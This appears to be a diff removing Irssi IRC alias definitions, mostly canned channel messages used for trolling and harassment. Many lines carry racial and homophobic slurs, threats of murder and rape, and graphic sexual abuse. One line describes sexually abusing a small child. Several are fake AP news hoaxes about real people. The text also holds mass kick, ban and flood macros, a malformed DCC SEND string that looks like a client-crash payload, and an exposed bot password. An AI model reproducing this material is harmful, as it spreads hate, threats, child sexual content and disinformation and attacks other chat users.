-  pres = "/say AP 08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
-  chan8 = "/say u should speak fagganese";
-  vae = "/say ignorance doesn't work once you've been found out.";
-  baad = "/say I do give a fuck to fbi, jinxshells, efnet, irc, internet, its been 8 years im fucking people up in the head and they threat me.";
-  baad2 = "/say What i did";
-  baad3 = "/say i dont know the english im the russian I speak the russian! mother russia! fuck the your country!";
-  baad4 = "/say 5 packets transmitted, 0 packets received, 100% packet loss";
-  chan9 = "/say How you dear do desohonor my person by saying some badwords in the shakespere language";
-  chan10 = "/say I connot join that well but I can speak 20 languages what is better?";
-  crap = "/say Inform you a lil bit befor u write so  a crap";
-  chan11 = "/say u r asshall";
-  gas = "/say man wtf who cares about how much a barrel of oil costs.. my car doesnt run on oil, i want to know how much a barrel of gas costs.. people in america concentrate on the wrong thing too much.. it's time to get smart";
-  colors = "/say \0031a\0032a\0033a\0034a\0035a\0036a\0037a\0038a\0039a\00310a\00311a\00312a\00313a\00314a\00315a";
-  g00nmad = "/say could you please just give the channel priority over pumpers?; /say for once.; /say just for this channel, let us maintain out gates; /say thats all i want";
-  chan12 = "/say why you bing like that";
-  raped = "/say http://media.newsbusters.org/stories/$0--would-be-gang-raped-blacks-manhattan.html";
-  kemal = "/say it makes my weekend somewhat like paradise";
-  kemal2 = "/say we know where you guys live";
-  kemal3 = "/say tell arab he shouldn't be acting like a pro when he lives in chile";
-  kemal4 = "/say I know some guys who can take him out for good";
-  kemal5 = "/say DFI = dicks for idiots";
-  kemal6 = "/say we have a budget of $$50,000 to find and kill each and every one of the so-called DFI members";
-  crag2 = "/say  woke up to the birds chirping but couldn't open my right eye, and you were gone. I went and looked in the mirror and saw DRIED EJACULATE on my face and in my eyelashes. I also found it on my breadspread and headboard. You disgusting pig, no it dosent end there. I went to thebathroom to wash your filth off and found that not only had you jacked off in my face while I was asleep, but you also took a SHIT on my bathroom floor. ";
-  craig3 = "/say What kind of peice of shit jacks off on someone when they are sleeping and then shits on the floor. I finally got your mess cleaned up and took a long hot shower, and went into my kitchen to make some coffee. There I find you took the entire 12 pack I bought last night along with a fifth of Patron....So lets recap what happened. ";
-  craig4 = "/say I fell asleep thinking this guy was so sweet and was going to have sex with him in the morning, to waking up with dried cum on my face, in my hair, eyes, on my headboard, etc.. and walking into my bathroom to find a turd coiled up on the floor like a snake ready to attack, and to top it all off, you took all the beer and a fifth of $55.00 patron out of my fridge.... ";
-  craig5 = "/say FUCK YOU ASSHOLE!!!!! ";
-  craig2 = "/say I woke up to the birds chirping but couldn't open my right eye, and you were gone. I went and looked in the mirror and saw DRIED EJACULATE on my face and in my eyelashes. I also found it on my breadspread and headboard. You disgusting pig, no it dosent end there. I went to thebathroom to wash your filth off and found that not only had you jacked off in my face while I was asleep, but you also took a SHIT on my bathroom floor. ";
-  chan13 = "/say i have the ftp name and password now, go fuck your dirty mother";
-  stocks = "/say  hey girl, what kind of hang seng china-affiliated corporations index constitute stock u into? im all about the sinofert holdings / china travel international investment hong kong / tianjin development / china agri-industries holdings limited / red chip / china overseas land and investment limited / beijing enterprises / denway motors / sinotruk (hong kong) / china power international development / china resources";
-  dot = "/say stuf you lackey";
-  dot2 = "/say fuck this dumb shit";
-  dot3 = "/say im tired of bryan getting all teenage bitchy";
-  dot4 = "/say i ahve a problem with arrogance.";
-  dot5 = "/say stop hanging out with fucking mooching retards";
-  dot6 = "/say godpseed i will join you with your /emopart";
-  good = "thing";
-  palin = "/say Say it ain't so, Joe, there you go again pointing backwards again. You preferenced your whole comment with the Bush administration. Now doggone it, let's look ahead and tell Americans what we have to plan to do for them in the future.";
-  palin2 = "/say In my comment there, it was a lame attempt at a joke and yours was a lame attempt at a joke, too, I guess, because nobody got it. Of course we know what a vice president does.";
-  palin3 = "/say Joe Six Pack, hockey moms across the nation, I think we need to band together and say never again. Never will we be exploited and taken advantage of again by those who are managing our money and loaning us these dollars. ";
-  dose10 = "/say <dose`> lol oh man that was weak;/say '$0'";
-  dose11 = "/say <d0se> you got noticably more quiet when i mentioned how lame you are for having a zero in your nick";
-  dose12 = "/say <@dose`> lol you two = owned";
-  dose13 = "/say <dose`> so fucking ignore already then";
-  dose14 = "/say <dose`> vap0r is disgruntled because he got anti-trolled;/say <dose`> no big deal";
-  dose15 = "/say <dose`> insect, shouldn't you be stalking baseball players and/or jerking off to hockey cards";
-  dose16 = "/say <dose`> you're just a pup vap0r";
-  dose18 = "/say <dose`> yeah you're like a little piece of shit biting at my ankles";
-  dose17 = "/say <dose`> Kreapsta, shouldn't you be snorting lithium and cutting yourself somewhere";
-  dose19 = "/say <@dose`> Kreapsta, people that wear doc martens and ripped jeans don't get to tell people when they fuck up";
-  dose20 = "/say <dose`> moving on ..";
-  chan14 = "/say go fuck yourself and your mother u cocksucking fagott";
-  chan15 = "/say at least I have manners and mother fucker is you";
-  rc = "/say I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
-  chan16 = "/say lol who the fuk r u to talk motha fuka i dont fukin spent my days trying to connect to some shit";
-  chan17 = "/say yes fuck your mader!";
-  borg = "/say I find it hard to even enjoy IRC nowadays. so many assholes contaminate such a fun thing.";
-  borg2 = "/say aight, I'm done here. I'm sorry. EFnet are a bunch of twats who can't be civil. I would love to stay primarily because of you being here, but I'm tired of the childish behavior everyone seems to have on this network. if ya wanna visit me you can catch me on awesomeirc.ca - your channel clients don't like me so there's no reason for me to be here. again, sorry I can't stay.";
-  sec3 = "/say SEC is bunch of punk ass bitch.. they irc sooo seriously.. lalalla.. gay white boy rap";
-  mcdonalds = "/say McDonalds is easily the best tasting and best quality fast food in America. Period. There are more McDonalds stores than any other chain and they always have customers which is just a testament to the fact that they are better than any other place.. wendys, burger king, checkers, sonic, in-and-out, papa johns, pizza hut, all of them.";
-  chan18 = "/say whats ur fucking problem ??? didnt ur dad raped ur ass today ?";
-  luke = "/say not trying to burn you $0 your life speaks well enough that you are a loser no need for me to tell you :P";
-  luke2 = "/say $0, has such a sweet gay voice im jacking my dick to him singing right now ahhhh";
-  luke3 = "/say $0, in his 30's and because he had not accomplished anything in life he tries pathetic trolls on efnet kek";
-  luke4 = "/say nice 1 bedroom house LOL";
-  luke5 = "/say and now you pretend to type like a retard";
-  luke6 = "/say 10 years on efnet?";
-  luke7 = "/say you think alot of yourself don't you :)";
-  luke8 = "/say \"hey guys, message luke with ddos comin it will be cool\"";
-  ranger2 = "/say meet me in quebec and see whos talkin shit u poutine ass nigga";
-  pump2 = "/invite $0 #p-u-m-p";
-  pheco = "/say i feel like im gonna pike";
-  pheco2 = "/say which i could do that accent";
-  CAPS = "/say \0030TODAY IS CHANGE YOUR NICK TO CAPS DAY - SO MAN UP AND NICK UP - TO CAPS - \037ITS THE THING TO DO";
-  dbz = "/say $0, Basically my question to you is based on everything you've seen concerning the character of Bardock and Goku, what would happen if Goku had an actual meeting with his father? What words would they exchange? What would cause such a meeting, etc? It can be any continuity you choose. Now that you know what to write about, be creative and come up with what in your view would happen if father and son were to meet.";
-  chan19 = "/say you dog gizzum bottom-dwelling scum from hardwaste";
-  girl = "/say 13:32 <@arab> id love it; /say 13:32 <@arab> if $0 and $1; /say 13:32 <@arab> were female; /say 13:32 <@arab> and if it was irl; /say ; /say 13:32 <@arab> and if i was present";
-  chan20 = "/say dont talk about my mother u fucking peace of shit, 2 ill come to your house and rape all of you u fuckign cokc sucker]";
-  chan21 = "/say dear me such a sad little fuck, look take your fucking sad ass and share your frustrations with someone that gives a fuck";
-  dccsend = "/say :ADCC SEND \"ff\\u0266\\u029e\\u0254f\\u025f\" 0 0 0";
-  chan22 = "/say i'm a new comer u mother fucker";
-  chan23 = "/say yes im sure you have lots of cool friends who could beat me up right?";
-  chan24 = "/say i dont fucking with this shit until now";
-  chan25 = "/say whats the matter you thought you could just talk shit and i'll bend over like you mom did last night. sorry. fuck off. fig dish!";
-  chan26 = "/say yeh yeh find some one else to fuck with cause i'm not your mom.";
-  chan27 = "/say Youre still gay you mofo ass faggot. you love to fuck dogs";
-  chan28 = "/say i though your a fag if you take it in the ass as far as i knoe i havn't had any forign object in my ass";
-  chan29 = "/say hey buddy just cuz your mom is on the rag and your having to do your little sister tonight it's not ny fault.";
-  chan30 = "/say all i want is a fuckin pass so i can beat my meat cuz i havent had pussy in two days";
-  chan31 = "/say ill shove a pipe up ur ass and pour clorox down it if u dont stfu";
-  chan32 = "/say I bet you don't even have the balls to be a queer ";
-  chan33 = "/say man i will fucking murder your ass! i just came from fucking afghanistan and i can't remember how to do this shit so if you want to bang and swang, i will fucking throw down";
-  chan34 = "/say usa is fuck    OBAMAAAAA";
-  rude = "/say \0034halten sie";
-  rude2 = "/say \0034maleducato";
-  rude3 = "/say \0034grosero";
-  rude4 = "/say \0034onbeleefd";
-  rude5 = "/say \0034groller";
-  rude6 = "/say \0034primitif";
-  rude7 = "/say \0034th^o s\\u01a1";
-  rude8 = "/say \0034nesramen";
-  rude9 = "/say \0034grubus";
-  chan35 = "/say Ill fucking pop your eyesocket out and skullfuck you into oblivion";
-  chan36 = "/say go find yourself a dog...and leave me alone...";
-  chan37 = "/say you are a poor little guy who has nothing better to do than loosing some time on irc";
-  chan38 = "/say take care at your dick";
-  chan39 = "/say the river";
-  40oz = "/say its goin down in tampa \0030f1re vs \"g-\" \0034NO HOLDS BARRED \0037ALSO HEKTIK IS A FAG \0032ALSO N1TERYDER IS TOO OLD TO BE ALIVE \00313ALSO BILLEH IS A PUMP HATER \00312ALSO SUP ZIMZUM \00311ALSO ANALOG U MY DOG \00310ALSO RANGERJAH UR FAT LOL \0039ALSO SYNAPZE NICE PIZZA \0038ALSO G IS ALL UP IN THAT KWEEN PUSSY \0037ALSO CHEERIO WHERE YOU AT?";
-  fun = "/say heres a fun trick; /say hold down both shift keys; /say and type; /say THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG";
-  chan40 = "/say bye bye, try to survive yourself";
-  chan41 = "/say shut da fuck up gay dog no wan wants 2 here ur shit";
-  chan42 = "/say enjoy your popcorn wat.";
-  chan43 = "/say u licking slit i dont want ur fucking advice u mother fucker gay bastard";
-  chan44 = "/say i wanan shoet some gay with a bazooke";
-  chan45 = "/say if you tell me how i comming in tho a inc gaming so i tell you how you do a webbsite";
-  chan46 = "/say go suck bugnuts";
-  chan47 = "/say anyone that is on dreamhack and sells a dubbel male USb contact";
-  chan48 = "/say sounds like you have issues with people learning new trades";
-  chan49 = "/say you pricky ass hole just shut the fuck up and sit the fuck down you bitch face motherfucker random assface fuckface, cocklover cocksucker cockeater cockhead and cockseller prankster";
-  chan50 = "/say you want me to get hurted no lifer?";
-  chan51 = "/say Want my eggroll in yur mouth? Deep fried eggrol?";
-  chan52 = "/say you are a fag 4 caling me a fag you fag, suck big black cuck";
-  chan53 = "/say are you nuts i got a bisnis";
-  chan54 = "/say hey tough ass am i in the wrong room>";
-  chan55 = "/say LONG LIVE BIN LADEN !!!!!!!!  He PUTED THE TOWERS UP R ASSes MOTHERFICKING COWBOYS !!! :P";
-  chan56 = "/say WE DONT WANT U ASSHOLES IN EUROPE ONLY THE GIRL... to rape them :D";
-  chan57 = "/say so, I'll look around here with or no your help, idiot...";
-  chan58 = "/say tell me what do you understand by jagger...";
-  chan59 = "/say how to mod a fucking xbox with mirc";
-  chan60 = "/say ya me bro and idiot";
-  chan61 = "/say come u doush i ve done it before its just bein a really long time";
-  movie = "/say I.Wanna.Buttfuck.Your.Daughter.3.XXX.DVDRip.XviD-NYMPHO";
-  do = "and";
-  chan62 = "/say you watch Ufc that much if not you should";
-  ai = "/msg gay_dog @add $0 $1";
-  goat = "/say http://www.youtube.com/watch?v=VgAXZHMi_ws <- kid from efnet arrest tape";
-  zip = "/say 25244 63651 62815 57031 98552 17506 62926 21626";
-  chan63 = "/say well im out bitches in the mean while u can suck eachothers dicks or comps";
-  chan64 = "/say you no waht i dont even fucking believe any of this first time i come on this mirc thing and thers a bunch of crazy ppl and then theres fucking hacker and then a cop and god knows what else so wierd";
-  chan65 = "/say ahahahah what to much cumm in ur brain";
-  chan66 = "/say nice ip find bitch i hacked a guys ip from europ";
-  chan67 = "/say fidn me cockbite and suck my dick whore";
-  chan68 = "/say love to see you say it to my face i would fucking kill you pussy think ur hard because ur sat on your computer";
-  chan69 = "/say say some think now u fucking wet blanket";
-  chan70 = "/say just got back from iraq";
-  chan71 = "/say I'll be back later, I hope by then go grow a set up balls loser";
-  chan72 = "/say Bots are major faggles";
-  chan73 = "/say Sorry my motherfuckin hackin skills werent up to scratch numbnuts";
-  chan74 = "/say Suck me sideways fag";
-  chan75 = "/say srry wat im not a nerd like you and sit on my comp all dau i'm nubi here asshole";
-  bot = "/msg $0 msg gay_dog pass password, then /msg gay_dog pp4l (for invite)";
-  bill = "/say \0030\037FUCK IT;/say fuckin thing \037SUCKS;/say we'll do it \0034\037LIVE";
-  chan76 = "/say I can't believe that out of 10,000 sperm, you were the quickest.";
-  chan77 = "/say your moms face looks like a chaperone.";
-  chan78 = "/say Lost? You couldn't get a clue during the clue mating season in a field full of horny clues if you smeared your body with clue musk and did the clue mating dance.";
-  iphone = "/say http://img523.imageshack.us/img523/3086/newblueiphonehj6.gif <- apple droppin new blue iphone for July 4th (4g)";
-  nhl = "/spam;/spam2;/spam3";
-  nhl2 = "/say we are the warriors";
-  nhl3 = "/say we are the ones who fight for our rights";
-  nhl4 = "/say we fight alone";
-  nhl5 = "/say and yeah we get what we want";
-  nhl6 = "/say we love the battle";
-  nhl7 = "/say and we will die for our cause";
-  nhl8 = "/say we are the warriors of time";
-  nhl9 = "/say we are the warriors of \037time";
-  nhl10 = "/say yeah";
-  wshh = "/say HEY $0 I BRUTALLY GANGRAPED YOUR MOTHER ANALY WITH MY BOYS SHE LIKED IT TELL THAT BITCH TO WIPE THAT CUM OF HER STINKY FACE..FAG";
-  wshh2 = "/say seriously put a shity on giggle titties";
-  wshh3 = "/say ASHY HAHAHAHA GO PUT SOME LOTION AND SOME SPEED STICK OR SOME CUSTOM DEODORANT CUZ U GUYS SMELL LIKE A CHEESEBURGER WITH EXTRA ONION CALIFORNIA BITCH OXNARD CALIFORNIA BITCH";
-  wshh4 = "/say do you know a nigga that say he date dimes or better but his main bitch look like *straight shit?* put that nigga on \0034\037HOOD NETWORK ";
-  crazy = "/say damn what a bunch of idiots here, meant to be a place for people to ask questions and talk about that shit but as soon as you do all these fagot irc trolls talk shit";
-  wpm = "/say i happen to know theres no way possible you couldve typed that whole sentence that fast after your previous statement.. so chill out bro and stop using aliases and speak from the heart";
-  gametime = "/say johne:;/say analog:;/say insect:;/say shaggy:;/say \037\0039ITS GAMETIME";
-  gametime2 = "/say \0035\037*currently waiting on another player to enter the dressing room*";
-  saints = "/say \0031,8GEAUX SAINTS 8.55 5 PIECE SPICY CHICKEN STRIP\0031,1 \0034,1LOVE THAT CHICKEN FROM POPEYES \0031,8MEAL WITH GREASCUIT AND MASHED POTATOS 8.55 GEAUX SAINTS";
-  cup = "/say -> SAY MOTHER MAY I AND SPELL \"CUP\" :: Pass this along to 10 of your friends or you might die of the dreaded Canduru fish that swims in your dick and expands with spikes. ";
-  boy = "/say Once, when i was changing my little brother's diaper, i jacked him off. I don't know what drove me to do it, but I did. now i can't stop thinking about his little penis. I think i want him to grow up and fuck me.";
-  popeyes = "/say .stock afce";
-  wshh5 = "/say the black man comes from monkeys fuck you black man and all you ghetto rats.this y the white man hate you monkeys.yall r just a bad taste to the mouth.i am not talking to the black man that is doing good am talking about you dum fucking ass ghetto monkey";
-  g00nop = "/say THIS IS AN ALIAS.. IT IS TO POINT OUT THAT G00N ONLY TALKS ABOUT HIS NON-OP SITUATION AND CANT SEEM TO CHAT WITHOUT HIS @. JUST MEMORIZE THIS AND TRY TO COUNT HOW MANY TIMES YOULL SEE IT BECAUSE YOU \037WILL SEE IT AGAIN.";
-  zubwolf = "/say yeah man, i', true to the game pal all that graff shit u know like new york and stuff aahah";
-  insectkick = "/kick fleury ;/kick zero ;/kick zerocool ;/kick polka ;/kick nigerian ;/kick bimmer_ ;/kick ne ;/kick gravitaz ;/kick crosby87 ;/kick redrum87";
-  chanxbox = "/say http://guidowned.com/xbox-softmod.rar";
-  insectban = "/ban *!*insect@*.* ;/ban *!*wat@*.* ;/ban *!*zero@*.*";
-  insectown = "/insectkick ;/insectban";
-  nhlkick = "/kick ne \0034ITS GAMETIME ;/kick polka \0035ITS GAMETIME ;/kick fleury \0033ITS GAMETIME ;/kick nigerian \0036ITS GAMETIME ;/kick crosby87 \0037ITS GAMETIME ;/kick gravitaz \0038ITS GAMETIME ;/kick zero \0039ITS GAMETIME ;/kick zerocool \00310 ITS GAMETIME ;/kick redrum87 \00311ITS GAMETIME ;/kick bimmer_ \00312ITS GAMETIME";
-  chan79 = "/say u gay?? can a dog gay?? huhauha";
-  chan80 = "/say waa you mother is fuker ass";
-  chan81 = "/say kiss my bullshit gay";
-  obama = "/say WASHINGTON, D.C. AP NEWS - It has been decided that President Elect Obama will be swearing in on both the Bible and the Koran, marking the first time any President has used two religious books as his oath to protect the United States.";
-  facts = "/say \037\0030WORRIED ABOUT OBAMA? LOOK AT THE FACTS: 1. TEETH ARE WHITE 2. CLOUDS ARE WHITE 3. THE MOON IS WHITE 3. IPOD CABLES ARE WHITE 4. THE BIG PART OF THE EYE IS WHITE 5. THE MOST USED PAPER IS WHITE 6. SHIT IS BROWN";
-  music = "/say lol man $0 is a pretentious fag, and $1 is the worst song i've ever heard";
-  chan82 = "/say fuck you barac obama and bush and israel and america";
-  dontcare = "/say anyone got a laxative laying around? im in such pain over here from not giving a shit so hard.. ugh it hurts";
-  superbowl = "/say WASHINGTON D.C. (AP) - NFL Owner/Director Dan Reeves has announced the SuperBowl will be cancelled this year due to salary cap issues and the recent downturn of the economy. He was quoted as saying \"We can't afford chicken, so noone else gets chicken.\" Mr. Reeves known for his unique sense of humor will be more formal with his announcement during a press conference to be aired on FOX news and ESPN on Sunday Jan 25 at 8:00pm CST.";
-  whoa = "/damage ;/jizz ;/stratx2 ;/ziegh ;/seminal";
-  gr1d = "/say no shit hahaha";
-  saints2 = "/say \0038,13SAINTS WILL BEAT THE STEELERS IN THE SUPERBOWL THIS YEAR AND THATS FOR FUCKING SURE AND IF THE SAINTS WIN INSECT OWES VAP0R 400$ NO HOMO AND A \0031,4FIVE PIECE STRIP FROM POPEYES WITH A GREASCUIT + SPICY MASHED POTATOS FOR 8.55";
-  obama2 = "/say \037ONLY IN AMERICA WOULD THE WHITE MAN DO A BUNCH OF CRAZY SHIT AND MAKE A SHITLOAD OF MONEY BUT DIG A HOLE FOREVER THEN GET A NIGGER TO STEP IN AND DO ALL THE HARD WORK TO CLEAN IT UP AND CONVINCE ALL THE NIGGERS ITS A MILESTONE AND SOME FORM OF AMAZING CHANGE TO BE PROUD OF LOL.. WHITE FOLKS WIN AGAIN";
-  nice = "/say !o you smell like roses you piece of pie i wanna pet the happy into you";
-  chicken = "/say SHOVE A STRAND OF RAW CHICKEN UP YOUR PENIS HOLE \0034SALMONELA \00312><>";
-  attn = "/say \0031,4 ATTN: STEELERS NOT SHOWING UP TO THE SUPERBOWL";
-  "?" = "/say *¯\\(º_o)/¯*";
-  gainer = "/say if they don't have a warrenty they can't search you legally duh";
-  chan83 = "/say frankly speaking, i need someone who i can trust to open my poop and fart in to the face";
-  wrong = "its";
-  chan84 = "/say you fuck yourself with that mouth";
-  dick = "/say having a 14 inch dick really isnt that great, lots of girls are too scared to have sex with me.. and most guys wont even come near it..";
-  ego = "/say yo $0 ill get to that thing you asked me about i'm in the middle of my workout.. 200 pullups to go and then i have to do 150 pushups but i should be good after that";
-  weather = "/say wow... $0... nice weather check.. how about being less of a fucking COMPLETE nerd and opening a window.. or actually venturing outside.. for once.. seriously break the mold of typical irc user and do something with yourself. god.";
-  dad = "/say $0: i wish a hungry dad would dad you up and dad you then dad you so it could dad you to its dad";
-  iphone2 = "/say did you actually put jp.ashikase.backgrounder in the voipover3g.plist?";
-  context = "/say $0. Now is no time to be mean. Its thanksgiving. Can't we all relax drink a beer and watch some football and not cut eachother down";
-  devils = "/say average 14000 fans damn ! rangers max capacity is probably 14000 fans..the song says it all we takin over yeeeeeeeaaa devils takin yo asses ova bitches ";
-  devils2 = "/say funny... DEVILS got the best goaltender of all time, DEVILS have one TWO stanley cups in this MILLENIUM and have reached the playoffs, DEVILS make their own playerz stars and dont need to trade for big shot players, MAPLE LEAFS= old shit, old news. ";
-  devils3 = "/say wow! nj devils are just just amaziing...i think all the rangers fans are just jelous becuz: ;/say 1.the devils aare way better(im one of them) ;/say 2.our team is just better(nothing but the truth) ;/say 3.they haven't won a stanley cup since 94 and we've won 3";
-  devils4 = "/say attention devils fans if you love them like me add yourself to the group i made it is called the jersey d's look it up if you cant look up a bulletion in my profile that says devils fans only and copy and paste the url";
-  devils5 = "/say Rangers collect fans, Devils collect cups! ";
-  devils6 = "/say the 2009 season is rite around the corner and were gunna get somwhere this yr we got elias,holik,madden,gionta,pari se,brodeur wow wat a lineup evry1 watch out here we come CHAMPS OF 09 biotch!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! ";
-  devils7 = "/say To think everyone thought the Devils would be doing bad this year after Gomez and Rafalski left...but there first in the division and 2nd in the conference. Makes me glad to be a Devils fan :D ";
-  devils8 = "/say eyyy i have the wierdest feeling devils r gunna win the cup this year i had this feeling in 03 and looke they won.. and whoever thinks there doing horrible... there not cuz there only like 4-6 points away from being on the top of the divisision... and now there startign to play lie a team .. that the type of team the devils r.. ahrd working and they abosltely never give up LETS GO DEVILSS ";
-  chan85 = "/say Eh, what is it with you. I dont wanna be in this channel anyway. Sorry but not a nerd";
-  real = "programmer";
-  wshh8 = "/say shut up nigga i have to shoot a different nigga every night so i can use their computer and internet and get on dat youtube and do it again the next day so dont be talking shit ";
-  fml = "/say Today I realized most of the fmylife.com entries were made by me. What makes that horrible is I'm only allowed to use the computer when my Dad is fucking me. ";
-  gogo = "/say u shot u dad?lol";
-  gogo2 = "/say lol this historys";
-  gogo3 = "/say here u need got friends for get weed";
-  gogo4 = "/say i dont like eat weed i prefer smoke it i dont try many times to eat";
-  gogo5 = "/say we are in differents hours at day";
-  insecban = "/ban *!*insect@*.* ;/ban *!*wat@*.* ;/ban *!i@*.* ;/ban *!*zero@*.* ;";
-  gogo6 = "/say dont heard it atm";
-  gogo7 = "/say recessions are always bads , but world need to grow more";
-  gogo8 = "/say some weeks ago i wathc Johnny Stecchino from roberto benigni too got missed the last from benigni called gomorra now italian mafia want kill roberto benigni for fo this film lol";
-  gogo9 = "/say one time horse meat in mexican restaurant and cangaroo";
-  gogo10 = "i u cant";
-  gogo11 = "/say nice , this work are the shit";
-  gogo12 = "/say rap = niggers;/say techno = whites";
-  reaksi = "/say Love iS Blind \0033-r\0034@";
-  gogo13 = "/say lol some mexicans are really wacks";
-  gogo14 = "/say i miss try popeyes i like the wraps from mc donald";
-  dox = "/say back in the day ppl used to drop dox for serious shit like you stealing their irc gf or you takin gover their main chan, now its like stuff that isnt close to our hearts can get dox dropped";
-  notepad = "/say do u guys have a notepad of this stuff? or do u have it scripted?";
-  himself = "/say wtf man.";
-  himself2 = "/say are you sure you want to treat me this way?";
-  himself3 = "/say If I am not good enough to have ops, then I am not good enough to be on your channel.";
-  himself4 = "/say Why the fuck do you think you can treat me like shit and not have me react?";
-  himself5 = "/say daffy duck seems to have a penis like a human .";
-  fish = "/say gimme back that filet-o-fish;/say gimme that fish ..OHHH;/say gimme back that filet-o-fish;/say gimme that fish;/say what if it were you hanging up on this wall?;/say if it were you in this sandwich you wouldnt be laughing at \0034alllllllll";
-  car = "/say http://www.20bucket.com/2009audiS4.jpg";
-  gogo15 = "/say here wr miss taco bells too";
-  gogo16 = "/say no thats from one web i miss the link";
-  linux = "/say I just want to learn Linux so I can move on with my life";
-  word = "/say jad tp dp ot";
-  gogo17 = "/say im ugly ass fuck";
-  gogo18 = "/say this is a large life";
-  gogo19 = "/say michael from the office do brbrbrbrbrbr too";
-  bread = "/say  ____;/say (    );/say  |  | < THIS IS BREAD FOR;/say  |__|      SURGEON";
-  gogo20 = "/say all u need is a wash of stomach";
-  gogo21 = "/say i dont ticker in the bot?";
-  gogo22 = "/say show me";
-  nospie = "script exec Irssi::active_win->command(\"mode +b *!?\\$_@*\") for qw(taschen cracked drac flame asl jynxed hansi sshot indigo Sweetish Sweetie mirc2000 eyeofra michcio Kim coco danielwxy IRCDigSpi spawn KeeS tidalwave xshh Kim syrka2002 roqqa TuttoIRC swat Xnurfz)";
-  slimebox = "/say $0 : you and yer clan, you really wanna start this?";
-  xxx4 = "/say Terror.at.Blood.Fart.Lake.2009.COMPLETE.STV.R1.NTSC.DVDR-CME";
-  shahid = "/say hey scd how about you deop vxp so we can all have fun chats";
-  shahid2 = "/say but he juped my nick :(";
-  shekk = "/say does screen go blank when i screen into another screen and then back to my colo screen";
-  shekk2 = "/say you wouldnt even know how to jack my gnu screen session if you did hack x";
-  shekk3 = "/say ddos me bitch lets see it.";
-  lh = "/say im better than you so i wont have to be honest about not having done shit heh.";
-  tu = "/say tu;/say tu;/say tu;/say tu;/say tu;/say tu;/say tu;/say tu";
-  crux = "/say Anyway, I make no apologies for anything I said or did.  Given the perceived situation, it was the correct thing to do.";
-  rav = "/say im a sweet, nice, loving, careing person, i just dont show it";
-  scd = "/say way two through you're drink at someone";
-  ircbar = "/say !start;/say !uno;/say !hangmanstart;/say !lippsgames;/say !poker;/say !hunt;/say !cast;/say !tdstart;/say !roulette;/say !choose scissor;/say !blackjack;/say !dice";
-  phillies = "/say chase utley has a lifetime subscription to cat fancy magazine";
-  chan86 = "/say i swaer some people are just borned retarted *Rolls eyes*";
-  chan87 = "/say you son of the bitch";
-  thoron = "/say let me get ahold of len he will packet that bot out or server len rocks";
-  chase2 = "/say http://img197.imageshack.us/img197/7207/chasek.jpg";
-  chase = "/say chase utley has a lifetime subscription to cat fancy magazine";
-  chasepart = "/part chase utley has a lifetime subscription to cat fancy magazine";
-  chase3 = "/say http://pheco.synthtech.net/chase-utley-has-a-lifetime-subscription-to-cat-fancy.jpg";
-  chase4 = "/say http://img36.imageshack.us/img36/5861/chase2h.jpg";
-  chase5 = "/say http://img154.imageshack.us/img154/3233/chase3.jpg";
-  chase6 = "/say http://img299.imageshack.us/img299/2917/may2008.jpg";
-  chase7 = "/say http://img441.imageshack.us/img441/8/chase4.jpg";
-  deep = "/say See, that's just sad in my opinion";
-  djvapor = "/say I thought you understood that this was because you are a fat fucking hick";
-  djvapor2 = "/say your heart is pumping koolaid";
-  haha = "/say HAS AH AHA HAHHHha hha HA HAH AHA";
-  haha2 = "/say ha HAH AH AHKAHHHHH@!@ 22 HAH AHALOLAHAHAHHAHAHAHA";
-  haha3 = "/say HAUHAUAHAHAHAVXPJSHDAHABG LOL @!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IRC.F1RE.ORG-#ARABALASAJOSOJHA HAH AAHA";
-  scores = "/say .lolscii http://wepump.in/ascii/$0.txt";
-  shahid3 = "/say scd i don't care whether or not vxp did it";
-  shahid4 = "/say vxp was the first peson to jupe me";
-  shahid5 = "/say you dont' know what it's like to be juped :(";
-  shahid6 = "/say it's really nice to be chatting in here with all these colors and vxp having ops";
-  shahid7 = "/say yeah, msg me when we have a channel where vxp doesn't get +o, im emoquittin all my nicks now";
-  baby = "/say http://i182.photobucket.com/albums/x236/wryi123/1248039743892.jpg";
-  wshh6 = "/say i suck dick for a record deal/they call me nutt in my face mike";
-  chasenews = "/say AP - MLB star second baseman Chase Utley was found dead with multiple gunshot wounds in a Philadelphia condominium Tuesday night - and authorities hinted he was murdered by his wife Jenn, who then turned the gun on herself. When asked, Garrett Atkins, long-time best friend and third baseman for the Colorado Rockies said, \"I still can't believe it, that's a lot of wasted Cat Fancy issues\".";
-  jigga = "/say jigga: payup you fucking bum, or this will happen everyday";
-  wshh7 = "/say THEM NIGGAS WEENIES I WOULDA RAN OVER THERE AND CAUGHT FADE CUZZ WIT THE POLICE WATCHIN ON CRIP..NIGGA THIS WEST LOS ANGELES BYO SELF GANGSTA CRIP IM ON THEM CRACCAS WISH IT WAS SOME SKIN HEADS TO BEEF WIT IN OR AROUND MY HOOD ON THE 3, TIRED OF KILLIN MY OWN";
-  airwebber = "/say I know that once shell";
-  airwebber2 = "/say stop flooding me with this unwanted messages";
-  airwebber3 = "/say you have now be asked to go away";
-  sly = "/say ya COME ONE you 4 eyes star trek FAG";
-  sly2 = "/say he's beng a good bitch shutting his star trek mouth right now.";
-  twitter = "/say .tweet @$0 Fucking tweet me back you bitch ass ho , Dickless ass bitch , Stupid ass trick ass sperm suck ass smelling low life ass bitch";
-  lolban = "/ban *!?@*;/ban *!??@*;/ban *!???@*;/ban *!????@*;/ban *!?????@*;/ban *!??????@*;/ban *!???????@*;/ban *!????????@*";
-  kr1sten = "/say this bitch almost killed me cuz she sucks at driving so i followed her to a drug store and raged out";
-  kr1sten2 = "/say so glad u know how to read and write";
-  kr1sten3 = "/say not sure how its funny and cool to just repeat someone all the time but more power to u";
-  fb = "LOL ->> \00313U ADD MY TO A FACEBOOK LOL :) :) \0030,2http://www.facebook.com/vap0r";
-  vogeltje = "/say fuck youre just as shit dont stinkish";
-  vogeltje2 = "/say i thikn it was you";
-  estella = "/msg alar op 7j779YNK3hf2AW9";
-  shahid8 = "/say qwat tej fuk ur probelm is i just want to chats fun";
